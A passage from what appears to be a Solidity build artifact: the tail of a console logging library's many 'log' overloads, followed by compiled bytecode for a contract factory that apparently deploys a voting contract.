_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } }
0x608060405234801561001057600080fd5b50600436106100415760003560e01c806310bae72c14610046578063c1dfe65214610145578063ed440dc41461014d575b600080fd5b610129600480360360c081101561005c57600080fd5b6001600160a01b038235169160208101359160408201359160608101359181019060a08101608082013564010000000081111561009857600080fd5b8201836020820111156100aa57600080fd5b803590602001918460018302840111640100000000831117156100cc57600080fd5b9193909290916020810190356401000000008111156100ea57600080fd5b8201836020820111156100fc57600080fd5b8035906020019184600183028401116401000000008311171561011e57600080fd5b50909250905061022b565b604080516001600160a01b039092168252519081900360200190f35b610129610365565b610129600480360360a081101561016357600080fd5b6001600160a01b03823516916020810135916040820135919081019060808101606082013564010000000081111561019a57600080fd5b8201836020820111156101ac57600080fd5b803590602001918460018302840111640100000000831117156101ce57600080fd5b9193909290916020810190356401000000008111156101ec57600080fd5b8201836020820111156101fe57600080fd5b8035906020019184600183028401116401000000008311171561022057600080fd5b509092509050610374565b6000808060009054906101000a90046001600160a01b03168a8a8a8a338b8b8b8b604051610258906104a3565b6001600160a01b03808c1682528a81166020830152604082018a90526060820189905260808201889052861660a082015261010060c0820181815290820185905260e082016101208301878780828437600083820152601f01601f1916909101848103835285815260200190508585808284376000838201819052604051601f909201601f19169093018190039f509d50909b505050505050505050505050f08015801561030a573d6000803e3d6000fd5b509050806001600160a01b03168a6001600160a01b03167f822b3073be62c5c7f143c2dcd71ee266434ee935d90a1eec3be34710ac8ec1a2426040518082815260200191505060405180910390a39998505050505050505050565b6000546001600160a01b031681565b6000806000809054906101000a90046001600160a01b0316898989338a8a8a8a6040516103a0906104b0565b6001600160a01b03808b168252898116602083015260408201899052606082018890528616608082015260e060a0820181815290820185905260c082016101008301878780828437600083820152601f01601f1916909101848103835285815260200190508585808284376000838201819052604051601f909201601f19169093018190039e509c50909a5050505050505050505050f080158015610449573d6000803e3d6000fd5b509050806001600160a01b0316896001600160a01b03167f7544ae9be61c5a3a07c46b904d79276190894375610bc48757451870459f0850426040518082815260200191505060405180910390a398975050505050505050565b611008806104be83390190565b610d26806114c68339019056fe60806040523480156200001157600080fd5b50604051620010083803806200100883398181016040526101008110156200003857600080fd5b815160208301516040808501516060860151608087015160a088015160c089018051955197999698949793969295919483019291846401000000008211156200008057600080fd5b9083019060208201858111156200009657600080fd5b8251640100000000811182820188101715620000b157600080fd5b82525081516020918201929091019080838360005b83811015620000e0578181015183820152602001620000c6565b50505050905090810190601f1680156200010e5780820380516001836020036101000a031916815260200191505b50604052602001805160405193929190846401000000008211156200013257600080fd5b9083019060208201858111156200014857600080fd5b82516401000000008111828201881017156200016357600080fd5b82525081516020918201929091019080838360005b838110156200019257818101518382015260200162000178565b50505050905090810190601f168015620001c05780820380516001836020036101000a031916815260200191505b506040525050600280546001600160a01b03808c166001600160a01b031992831617909255600480548b8416908316179055600589905560068890556007879055600380549287169290911691909117905550815162000228906009906020850190620002a3565b5080516200023e90600a906020840190620002a3565b50506001602052505060007fcc69885fda6bcc1a4ace058b4a62bf5e179ea78fd58a1ccd71c22cc9b688792f819055600281527fd9d16d34ffb15ba3a3d852f0d403e2ce1d691fb54de27ac87cd2f993f3ec330f55505042600c555062000348915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10620002e657805160ff191683800117855562000316565b8280016001018555821562000316579182015b8281111562000316578251825591602001919060010190620002f9565b506200032492915062000328565b5090565b6200034591905b808211156200032457600081556001016200032f565b90565b610cb080620003586000396000f3fe608060405234801561001057600080fd5b50600436106101515760003560e01c8063609ff1bd116100cd578063a8e4fb9011610081578063c9c3d42e11610066578063c9c3d42e14610332578063efbe1c1c1461033a578063f4396e2a1461034257610151565b8063a8e4fb9014610322578063c1dfe6521461032a57610151565b806365372147116100b257806365372147146102be5780638a4d5a67146102c6578063a3ec138d146102ce57610151565b8063609ff1bd146102ae57806361dcd7ab146102b657610151565b80632ddbd13a116101245780633fa4f245116101095780633fa4f245146102525780634e34048c1461025a5780635c19a95c1461028857610151565b80632ddbd13a146102425780633197cbb61461024a57610151565b8063013cf08b146101565780630a59a98c146101855780630c340a241461020257806312fa6feb14610226575b600080fd5b6101736004803603602081101561016c57600080fd5b5035610368565b60408051918252519081900360200190f35b61018d61037a565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101c75781810151838201526020016101af565b50505050905090810190601f1680156101f45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61020a610408565b604080516001600160a01b039092168252519081900360200190f35b61022e610417565b604080519115158252519081900360200190f35b610173610420565b610173610426565b61017361042c565b6102866004803603604081101561027057600080fd5b506001600160a01b038135169060200135610432565b005b6102866004803603602081101561029e57600080fd5b50356001600160a01b0316610553565b61017361073f565b610173610803565b61022e610809565b61018d610847565b6102f4600480360360208110156102e457600080fd5b50356001600160a01b03166108a2565b6040805194855292151560208501526001600160a01b03909116838301526060830152519081900360800190f35b61020a6108d7565b61020a6108e6565b6101736108f5565b61022e6108fb565b6101736004803603602081101561035857600080fd5b50356001600160a01b0316610a26565b60016020526000908152604090205481565b6009805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104005780601f106103d5576101008